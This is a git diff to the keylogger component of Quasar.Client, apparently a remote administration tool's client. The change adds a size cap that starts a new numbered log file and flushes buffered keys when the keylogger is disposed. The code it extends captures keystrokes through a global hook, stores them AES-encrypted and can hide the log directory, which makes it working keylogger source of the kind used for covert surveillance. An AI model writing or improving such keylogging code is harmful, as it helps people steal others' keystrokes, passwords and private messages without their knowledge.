diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 99b0069f..3ae6eb29 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -32,7 +32,7 @@ public class Keylogger : IDisposable private readonly Timer _timerFlush; /// - /// The + /// The buffer used to store the logged keys in memory. /// private readonly StringBuilder _logFileBuffer = new StringBuilder(); @@ -66,12 +66,19 @@ public class Keylogger : IDisposable /// private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); + /// + /// The maximum size of a single log file. + /// + private readonly long _maxLogFileSize; + /// /// Initializes a new instance of that provides keylogging functionality. /// /// The interval to flush the buffer from memory to disk. - public Keylogger(double flushInterval) + /// The maximum size of a single log file. + public Keylogger(double flushInterval, long maxLogFileSize) { + _maxLogFileSize = maxLogFileSize; _mEvents = Hook.GlobalEvents(); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += TimerElapsed; @@ -106,6 +113,7 @@ protected virtual void Dispose(bool disposing) _timerFlush.Stop(); _timerFlush.Dispose(); _mEvents.Dispose(); + WriteFile(); } IsDisposed = true; @@ -304,10 +312,10 @@ private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) /// private void WriteFile() { - // TODO: large log files take a very long time to read, decrypt and append new logs to + // TODO: Add some house-keeping and delete old log entries bool writeHeader = false; - string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); try { @@ -319,7 +327,24 @@ private void WriteFile() if (Settings.HIDELOGDIRECTORY) di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; - if (!File.Exists(filename)) + int i = 1; + while (File.Exists(filePath)) + { + // Large log files take a very long time to read, decrypt and append new logs to, + // so create a new log file if the size of the previous one exceeds _maxLogFileSize. + long length = new FileInfo(filePath).Length; + if (length < _maxLogFileSize) + { + break; + } + + // append a number to the file name + var newFileName = $"{Path.GetFileName(filePath)}_{i}"; + filePath = Path.Combine(Settings.LOGSPATH, newFileName); + i++; + } + + if (!File.Exists(filePath)) writeHeader = true; StringBuilder logFile = new StringBuilder(); @@ -340,7 +365,7 @@ private void WriteFile() logFile.Append(_logFileBuffer); } - FileHelper.WriteLogFile(filename, logFile.ToString(), _aesInstance); + FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); logFile.Clear(); } diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index 14d47049..769546ee 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -32,7 +32,7 @@ public KeyloggerService() _msgLoopThread = new Thread(() => { _msgLoop = new ApplicationContext(); - _keylogger = new Keylogger(15000); + _keylogger = new Keylogger(15000, 5 * 1024 * 1024); _keylogger.Start(); Application.Run(_msgLoop); });